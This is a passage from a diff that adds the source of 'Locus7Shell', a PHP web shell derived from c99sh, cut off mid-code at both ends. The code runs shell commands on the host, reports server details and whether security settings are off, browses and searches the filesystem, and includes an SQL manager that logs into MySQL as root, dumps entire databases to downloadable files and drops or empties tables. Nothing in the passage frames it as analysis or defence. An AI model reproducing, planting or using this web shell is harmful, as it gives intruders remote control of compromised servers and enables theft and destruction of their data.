mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + // recieve table variables + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) + { + while ($row = mysql_fetch_assoc($res)) + { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) + { + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else + { + fwrite ($fp, $out); + fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $out; +} +} +if (!function_exists("mysql_buildwhere")) +{ +function mysql_buildwhere($array,$sep=" and",$functs=array()) +{ + if (!is_array($array)) {$array = array();} + $result = ""; + foreach($array as $k=>$v) + { + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; + } + $result = substr($result,0,strlen($result)-strlen($sep)); + return $result; +} +} +if (!function_exists("mysql_fetch_all")) +{ +function mysql_fetch_all($query,$sock) +{ + if ($sock) {$result = mysql_query($query,$sock);} + else {$result = mysql_query($query);} + $array = array(); + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + mysql_free_result($result); + return $array; +} +} +if (!function_exists("mysql_smarterror")) +{ +function mysql_smarterror($type,$sock) +{ + if ($sock) {$error = mysql_error($sock);} + else {$error = mysql_error();} + $error = htmlspecialchars($error); + return $error; +} +} +if (!function_exists("mysql_query_form")) +{ +function mysql_query_form() +{ + global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) + { + echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>"; + if ($tbl_struct) + { + echo "<td valign=\"top\"><b>Fields:</b><br>"; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} + echo "</td></tr></table>"; + } + } + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} +} +} +if (!function_exists("mysql_create_db")) +{ +function mysql_create_db($db,$sock="") +{ + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + if ($sock) {return mysql_query($sql,$sock);} + else {return mysql_query($sql);} +} +} +if (!function_exists("mysql_query_parse")) +{ +function mysql_query_parse($query) +{ + $query = trim($query); + $arr = explode (" ",$query); + /*array array() + { + "METHOD"=>array(output_type), + "METHOD1"... + ... + } + if output_type == 0, no output, + if output_type == 1, no output if no error + if output_type == 2, output without control-buttons + if output_type == 3, output with control-buttons + */ + $types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) + ); + $result = array(); + $op = strtoupper($arr[0]); + if (is_array($types[$op])) + { + $result["propertions"] = $types[$op]; + $result["query"] = $query; + if ($types[$op] == 2) + { + foreach($arr as $k=>$v) + { + if (strtoupper($v) == "LIMIT") + { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } + } + else {return FALSE;} +} +} +if (!function_exists("c99fsearch")) +{ +function c99fsearch($d) +{ + global $found; + global $found_d; + global $found_f; + global $search_i_f; + global $search_i_d; + global $a; + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($f = readdir($h)) !== FALSE) + { + if($f != "." && $f != "..") + { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) + { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {c99fsearch($d.$f);} + } + else + { + $search_i_f++; + if ($bool) + { + if (!empty($a["text"])) + { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($h); +} +} +if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} +//Sending headers +@ob_start(); +@ob_implicit_flush(0); +function onphpshutdown() +{ + global $gzipencode,$ft; + if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) + { + $v = @ob_get_contents(); + @ob_end_clean(); + @ob_start("ob_gzHandler"); + echo $v; + @ob_end_flush(); + } +} +function c99shexit() +{ + onphpshutdown(); + exit; +} +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", FALSE); +header("Pragma: no-cache"); +if (empty($tmpdir)) +{ + $tmpdir = ini_get("upload_tmp_dir"); + if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} +} +$tmpdir = realpath($tmpdir); +$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); +if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} +if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} +else {$tmpdir_logs = realpath($tmpdir_logs);} +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = TRUE; + $hsafemode = "<font color=red>ON (secure)</font>"; +} +else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";} +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";} +else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";} +$sort = htmlspecialchars($sort); +if (empty($sort)) {$sort = $sort_default;} +$sort[1] = strtolower($sort[1]); +$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); +if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} +$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); +@ini_set("highlight.bg",$highlight_bg); //FFFFFF +@ini_set("highlight.comment",$highlight_comment); //#FF8000 +@ini_set("highlight.default",$highlight_default); //#0000BB +@ini_set("highlight.html",$highlight_html); //#000000 +@ini_set("highlight.keyword",$highlight_keyword); //#007700 +@ini_set("highlight.string",$highlight_string); //#DD0000 +if (!is_array($actbox)) {$actbox = array();} +$dspact = $act = htmlspecialchars($act); +$disp_fullpath = $ls_arr = $notls = null; +$ud = urlencode($d); +?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - Locus7Shell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #009900; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #009900; scrollbar-shadow-color: #000000; scrollbar-highlight-color: #00CC00; scrollbar-3dlight-color: #00CC00; scrollbar-darkshadow-color: #009900; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #000000; COLOR: green; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #009900; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #f89521; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #f89521; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #f89521; TEXT-DECORATION: none;}A:hover { COLOR: #f89521; TEXT-DECORATION: bold;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #009900; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #009900; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #009900; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #009900; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #009900; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #009900; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #009900; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #009900;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><center><img src="http://img244.imageshack.us/img244/6663/locus7sgm8.jpg"></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} +$d = str_replace("\\\\","\\",$d); +$dispd = htmlspecialchars($d); +$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); +$i = 0; +foreach($pd as $b) +{ + $t = ""; + $j = 0; + foreach ($e as $r) + { + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) {break;} + $j++; + } + echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>"; + $i++; +} +echo "&nbsp;&nbsp;&nbsp;"; +if (is_writable($d)) +{ + $wd = TRUE; + $wdt = "<font color=green>[ ok ]</font>"; + echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>"; +} +else +{ + $wd = FALSE; + $wdt = "<font color=red>[ Read-Only ]</font>"; + echo "<b>".view_perms_color($d)."</b>"; +} +if (is_callable("disk_free_space")) +{ + $free = disk_free_space($d); + $total = disk_total_space($d); + if ($free === FALSE) {$free = 0;} + if ($total === FALSE) {$total = 0;} + if ($free < 0) {$free = 0;} + if ($total < 0) {$total = 0;} + $used = $total-$free; + $free_percent = round(100/($total/$free),2); + echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>"; +} +echo "<br>"; +echo "<b>Your ip: <a href=http://whois.domaintools.com/".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a> - Server ip: <a href=http://whois.domaintools.com/".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a></b><br/>"; +$letters = ""; +if ($win) +{ + $v = explode("\\",$d); + $v = $v[0]; + foreach (range("a","z") as $letter) + { + $bool = $isdiskette = in_array($letter,$safemode_diskettes); + if (!$bool) {$bool = is_dir($letter.":\\");} + if ($bool) + { + $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ "; + if ($letter.":" != $v) {$letters .= $letter;} + else {$letters .= "<font color=green>".$letter."</font>";} + $letters .= " ]</a> "; + } + } + if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";} +} +if (count($quicklaunch) > 0) +{ + foreach($quicklaunch as $item) + { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;"; + } +} +echo "</p></td></tr></table><br>"; +if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";} +echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">"; +if ($act == "") {$act = $dspact = "ls";} +if ($act == "sql") +{ + $sql_surl = $surl."act=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php + if ($sql_server) + { + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_smarterror(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} + } + else {$sql_sock = FALSE;} + echo "<b>SQL Manager:</b><br>"; + if (!$sql_sock) + { + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} + } + else + { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}} + echo "</center>"; + } + echo "</td></tr><tr>"; + if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php } + else + { + //Start left panel + if (!empty($sql_db)) + { + ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_tables($sql_db); + if (!$result) {echo mysql_smarterror();} + else + { + echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else + { + ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_dbs($sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php + $c = 0; + $dbs = ""; + while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} + echo "<option value=\"\">Databases (".$c.")</option>"; + echo $dbs; + } + ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php + } + //End left panel + echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; + //Start center panel + $diplay = TRUE; + if ($sql_db) + { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} + echo "</b></center>"; + $acts = array("","dump"); + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} + elseif ($sql_tbl_act == "insert") + { + if ($sql_tbl_insert_radio == 1) + { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) + { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + } + if ($sql_act == "query") + { + echo "<hr size=\"1\" noshade>"; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";} + } + if (in_array($sql_act,$acts)) + { + ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php + if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} + if ($sql_act == "newtbl") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + elseif ($sql_act == "dump") + { + if (empty($submit)) + { + $diplay = FALSE; + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; + echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; + $v = join (";",$dmptbls); + echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; + echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; + echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" 